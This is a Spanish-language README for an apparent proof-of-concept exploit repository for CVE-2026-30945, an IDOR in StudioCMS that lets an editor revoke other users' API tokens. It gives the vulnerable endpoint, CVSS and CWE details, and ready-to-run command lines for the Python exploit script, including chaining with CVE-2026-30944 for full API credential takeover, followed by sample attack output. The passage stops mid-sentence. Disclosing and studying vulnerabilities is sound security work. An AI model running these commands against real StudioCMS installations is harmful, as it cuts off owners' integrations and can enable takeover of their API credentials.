
Prueba de concepto del exploit para CVE-2026-30945, un IDOR en StudioCMS que permite la revocación arbitraria de tokens de API y la denegación de servicio. Incluye modos de prueba manual y automatizada.
StudioCMS IDOR — Revocación Arbitraria de Tokens API que Conduce a Denegación de Servicio
El endpoint DELETE /studiocms_api/dashboard/api-tokens en StudioCMS ≤ 0.3.0 permite que cualquier usuario autenticado con privilegios de editor o superiores revoque tokens API pertenecientes a cualquier otro usuario, incluidas las cuentas admin y owner.
El manejador acepta tokenID y userID directamente del payload de la solicitud sin verificar la propiedad del token, la identidad del solicitante ni la jerarquía de roles. Esto permite una denegación de servicio dirigida contra integraciones y automatizaciones críticas.
Relacionado: Esta vulnerabilidad comparte la misma causa raíz que CVE-2026-30944 (IDOR en generación de tokens). Cuando se encadenan, un atacante puede revocar tokens legítimos y generar otros nuevos, logrando una toma de control completa de las credenciales API.
┌──────────────┐ DELETE /api-tokens ┌──────────────┐
│ │ {"tokenID":"<id>", │ │
│ Atacante │ "userID":"<owner-id>"} │ StudioCMS │
│ (Editor) │ ──────────────────────────► │ Servidor │
│ │ │ │
│ │ ◄────────────────────────── │ │
└──────────────┘ {"message":"Token deleted"} └──────────────┘
│
▼
┌──────────────┐
│ Pipeline │
│ CI/CD del │
│ Propietario │──► ❌ 401 No Autorizado
│ Integración │──► ❌ Acceso API Perdido
│ Monitoreo │──► ❌ Fallo Silencioso
└──────────────┘
| Campo | Valor |
|---|---|
| CVE | CVE-2026-30945 |
| GHSA | GHSA-8rgj-vrfr-6hqr |
| CVSS v3.1 | 7.1 (Alta) — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H |
| CWE | CWE-639: Bypass de Autorización Mediante Clave Controlada por el Usuario |
| CWE (secundaria) | CWE-863: Autorización Incorrecta |
| MITRE ATT&CK | T1531 — Eliminación de Acceso a Cuenta |
| OWASP API | API1:2023 — Autorización de Nivel de Objeto Rota |
| Afectado | studiocms ≤ 0.3.0 |
| Corregido en | studiocms 0.4.0 |
| Archivo | Descripción |
|---|---|
cve_2026_30945_poc.py | Script de explotación en Python con modos manual y automatizado |
README.md | Este archivo |
LICENSE | Licencia MIT |
Editorpip install requests colorama
# Revocar un token específico perteneciente al propietario
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc
# Encadenar con CVE-2026-30944: crear un token para el objetivo primero
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
# Guardar resultados en JSON
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc \
--save
# Probar con múltiples roles
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--auto-test \
--editor-user editor01 \
--editor-pass editorpass \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc
| Argumento | Descripción |
|---|---|
-u, --url | URL base de StudioCMS objetivo |
--target-uuid | UUID del usuario objetivo cuyo token será revocado |
| Argumento | Descripción |
|---|---|
--token-id | UUID interno del registro de token a revocar (no el JWT). Si se omite, el script intentará crear un token primero mediante CVE-2026-30944 |
| Argumento | Descripción |
|---|---|
--username | Nombre de usuario para autenticación |
--password | Contraseña para autenticación |
| Argumento | Descripción |
|---|---|
--auto-test | Habilitar pruebas automatizadas de múltiples roles |
--editor-user | Nombre de usuario de la cuenta Editor |
--editor-pass | Contraseña de la cuenta Editor |
--visitor-user | Nombre de usuario de la cuenta Visitante |
--visitor-pass | Contraseña de la cuenta Visitante |
| Argumento | Descripción |
|---|---|
--save | Guardar resultados en archivo JSON |
--no-ssl-verify | Deshabilitar verificación de certificado SSL |
──────────────────────────────────────────────────────────
FASE 1: Autenticación
──────────────────────────────────────────────────────────
[+] Autenticado como 'editor01'
[*] Usuario de sesión: editor01 (editor)
[*] UUID de sesión: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c
──────────────────────────────────────────────────────────
FASE 3: Revocación de Token (IDOR)
──────────────────────────────────────────────────────────
[*] UUID objetivo: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] ID de token: 16a2e549-513b-40ac-8ca3-858af6118afc
[*] Revocando token API del objetivo...
[+] ¡Token revocado! Respuesta del servidor: Token deleted
[!] VULNERABILIDAD CONFIRMADA — ¡Token revocado exitosamente!
[!] Las integraciones API del usuario objetivo ahora están rotas (DoS)
──────────────────────────────────────────────────────────
FASE 3: Revocación de Token (IDOR)
──────────────────────────────────────────────────────────
[*] UUID objetivo: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] ID de token: 16a2e549-513b-40ac-8ca3-858af6118afc
[*] Revocando token API del objetivo...
[*] Acceso denegado (403 Prohibido) — el endpoint puede estar parcheado
[-] Revocación fallida: Acceso denegado (403 Prohibido)
Cuando se combina con el IDOR de generación de tokens (CVE-2026-30944), un atacante puede realizar una toma de control completa de las credenciales API: